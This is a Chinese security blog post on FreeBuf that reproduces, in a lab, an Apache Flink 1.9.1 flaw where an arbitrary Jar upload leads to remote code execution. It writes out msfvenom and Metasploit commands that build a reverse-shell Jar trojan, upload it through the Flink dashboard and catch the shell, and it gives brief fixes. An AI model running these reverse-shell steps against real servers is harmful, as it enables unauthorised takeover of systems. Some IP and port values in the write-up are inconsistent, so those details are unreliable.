freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Apache Flink 任意 Jar 包上传导致RCE漏洞
FreeBuf_305059 2019-11-15 00:25:25 405789

漏洞描述

Apache Flink 是一个分布式大数据处理引擎,可对有限数据流和无限数据流进行有状态计算。可部署在各种集群环境,对各种大小的数据规模进行快速计算。昨天在浏览公众号的时候看到了这个Apache Flink 任意Jar包上传导致远程代码执行漏洞,昨天晚上由于回去的有点晚就没有去复现,再加上最近事情比较多。今天早上来了之后就马不停蹄的搭建环境来复现一下。首相介绍一下这个漏洞

ApacheFlink是由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎。Flink以数据并行和流水线方式执行任意流数据程序,Flink的流水线运行时系统可以执行批处理和流处理程序。此外,Flink的运行时本身也支持迭代算法的执行。

ApacheFlink的数据流编程模型在有限和无限数据集上提供单次事件(event-at-a-time)处理。在基础层面,Flink程序由流和转换组成。

ApacheFlink的API:有界或无界数据流的数据流API、用于有界数据集的数据集API、表API。

攻击者可利用该漏洞在 Apache Flink Dashboard页面中上传任意Jar包,利用Metasploit在Apache Flink服务器中执行任意代码,获取服务器最高权限,所以危害性较大。

测试环境搭建

kali  192.168.16.128--》攻击机

ubuntu  192.168.19.129--》靶机

Apache Flink 1.9.1--》存在漏洞版本的安装包

这里说明一下,安装Apache Flink非常的容易,但是这个是依赖java8+环境,所以需要安装java环境。

下载Apache Flink 1.9.1包:


wget http://mirrors.tuna.tsinghua.edu.cn/apache/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz

解压安装包:

tar  –zxvf  flink-1.9.1-bin-scala_2.11.tgz

进入到bin目录下面启动Flink

./start-cluster.sh

如果启动成功会提示以下信息(小白我之前启动过,所以就提示已经启动):

图片.png既然后台启动成功,打开浏览器是否能在web访问成功,端口是8081:

漏洞复现

既然环境配置成功了,那么我们可以结合MSF来进行漏洞复现,首先我们要用MSF生成一个jar的木马文件:

msfvenom -p java/meterpreter/reverse_tcp LHOST= 192.168.19.128 LPORT=8888   -f    jar > shell.jar  补充一句,免杀的小白这里就不做了,嘿嘿.......

图片.png之所以放在网站根目录下,是为了我直接在浏览器下载这个jar木马包:

图片.png

图片.png打开渗透测试神器MSF,看到了熟悉而又熟悉的界面:

图片.png首先我们设置监听地址(kali)以及payload:

use exploit/multi/handler

set payload java/shell/reverse_tcp  //除了可以设置java,也可以设置各种脚本语言,选择在于目标的环境以及木马格式

set LHOST 192.168.19.128

set LPORT 88888

show options //查看一下自己设置的参数信息

图片.png设置完毕后,我们先执行exploit进行监听来自8888端口的流量,如果有的话就会反弹一个shell通道:

图片.png上传shell.jar文件:

点击Submit New Job--》Add+New,然后选择我们之前创建的shell.jar包

图片.png

成功上传:图片.png

打开上传的包,然后点击Submit按钮,我们就可以看到MSF反弹一个shell通道,执行系统命令,这样我们获取到了乌班图这台服务器的权限:

图片.png图片.png

个人总结

      至于怎么修复需要静等官方发布漏洞补丁或者高版本的发布,小白非常热衷于自己手动搭建环境来进行漏洞复现。小白的个人修复建议:

1、设置登陆验证;

2、对上传的jar包内容进行校验,前端和后端都要验证;

# 漏洞复现
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 FreeBuf_305059 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
TideSec
FreeBuf_305059 LV.4
这家伙太懒了,还未填写个人描述!
  • 15 文章数
  • 39 关注者
一次有趣的挖掘验证码漏洞经历
2020-11-02
Bash远程解析命令执行漏洞
2020-08-16
小白之vulhub靶机之旅--第二篇
2020-03-31